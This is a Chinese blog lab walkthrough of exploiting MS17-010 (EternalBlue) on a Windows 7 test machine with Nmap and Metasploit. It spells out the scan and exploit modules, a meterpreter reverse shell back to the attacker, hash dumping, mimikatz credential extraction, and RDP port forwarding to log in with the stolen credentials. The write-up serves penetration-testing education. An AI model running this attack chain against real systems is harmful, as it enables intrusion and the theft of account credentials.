zoukankan      html  css  js  c++  java
  • mestasploit笔记 :MS17-010

    实验环境

    • 操作机 :Kali 2017

    • 操作机IP:172.16.11.2

    • 目标机:Windows 7

    • 目标机IP:172.16.12.2

    实验目的

    • 认知Windows远程溢出漏洞的危害

    • 知悉MS17-010漏洞的发现和验证过程

    • 学习Metasploit工具的进阶使用

    实验工具

    Nmap:端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能

    mestasploit:开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件

    实验内容

    漏洞原理简述

    MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。

    函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。

    实验步骤

    曾经NSA工具箱泄露时,我们已经对永恒之蓝这个工具的使用做过讲解!【NSA黑客工具包】Windows 0day验证实验

    然而,该工具的使用环境比较苛刻,而且操作较为复杂,现在msf已经加入该系列工具,使用方法更便捷。接下来,就开始操作吧!

    第1步 端口探测

    打开Kali终端,使用Nmap对目标机开放端口进行扫描

    nmap  -sV -Pn 172.16.12.2

    目标机开放了135 139 445 3389等端口,且目标机系统为Windows7,

    第2步 漏洞扫描

    我们使用用扫描模块,判断该漏洞是否可利用

    还记得ms08-067的nmap扫描脚本吗?MSF也有扫描模块~

    终端内输入

    msfconsole

    打开 metasploite 命令行客户端,使用search命令查找ms17-010漏洞的相关模块

    search ms17-010

    如下是相关可用模块

    search

    使用use命令选择我们要使用的扫描模块

    use auxiliary/scanner/smb/smb_ms17_010

    use

    在运行该模块之前,需要设置相关选项,我们使用show options查看配置信息

    RHOSTS

    需要设置目标地址,设置命令:

    set RHOSTS 172.16.12.2

    设置完成后,执行runexploit命令,等待执行结果

    run

    第3步:漏洞利用

    从上一步骤可以看出,该漏洞是可被利用的,接下来,我们祭出漏洞利用模块

    use exploit/windows/smb/ms17_010_eternalblue

    useexp

    步骤同上,查看配置信息,并设置标记为yes的属性

    show options

    目标机host地址:172.16.12.2

    set RHOST 172.16.12.2

    RHOST

    注意此处为RHOST,与扫描时的RHOSTS不一样

    之后,选择载荷payload,也就是shellcode,此处我们选择回连至控制端shellpayload

    set payload  windows/x64/meterpreter/reverse_tcp

    同样,载荷也需要进行配置,show options查看配置信息

    LHOST

    配置中缺少本地主机 RHOST,设置一下

    set LHOST 172.16.11.2

    本地端口LPORT默认为4444,可通过set LPORT 端口号修改

    完成配置后,运行exploit或者run,开始执行漏洞利用模块

    run

    成功获取来自目标主机的Session会话

    第4步:远程登录目标机

    我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能

    运行sysinfo查看目标机器相关信息

    systeminfo

    执行help命令可以帮助我们了解meterpreter有哪些功能

    help

    接下来,我们获取目标机hash值

    执行hashdump

    hashdump

    mimikatz是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter中正集成了这款工具。

    执行load mimikatz即可加载该工具,其命令与mimikatz一样

    运行命令msv,导出hash

    msv

    然后执行kerberos即可获得目标机账号密码

    kerberos

    获取了目标机的账号密码,我们结合nmap的扫描结果,可以远程登陆目标机 但是现实中,防火墙一般会拦截外来3389端口的访问请求,这种情况下该怎么解决呢?

    我们可以使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行连接

    运行命令

    portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 172.16.12.2

    portfwd

    此处,我们将远程目标的3389端口,转发到本机 172.16.11.2的3389上

    本地端口号可设置为其他未监听的端口

    如此,我们只要执行

    rdesktop  127.0.0.1 -u ichunqiu  -p ichunqiu

    rdesktop

    即可登陆远程目标机器

    3389

    实验结果分析与总结

    通过本次实验,我们熟悉了从发现漏洞、到验证漏洞、再到利用漏洞这一过程,并进一步学习了Metasploit的后渗透模块的其他使用案例。

  • 相关阅读:
    JS新API标准 地理定位(navigator.geolocation
    微信公众号菜单
    js选择权
    mui 弹框
    又拍云
    弹框
    sublime插件
    将Apache的.htaccess转换到nginx中
    php 图片上传类
    C# 使用Com组件正确的释放方法
  • 原文地址:https://www.cnblogs.com/diligenceday/p/11008447.html
Copyright © 2011-2022 走看看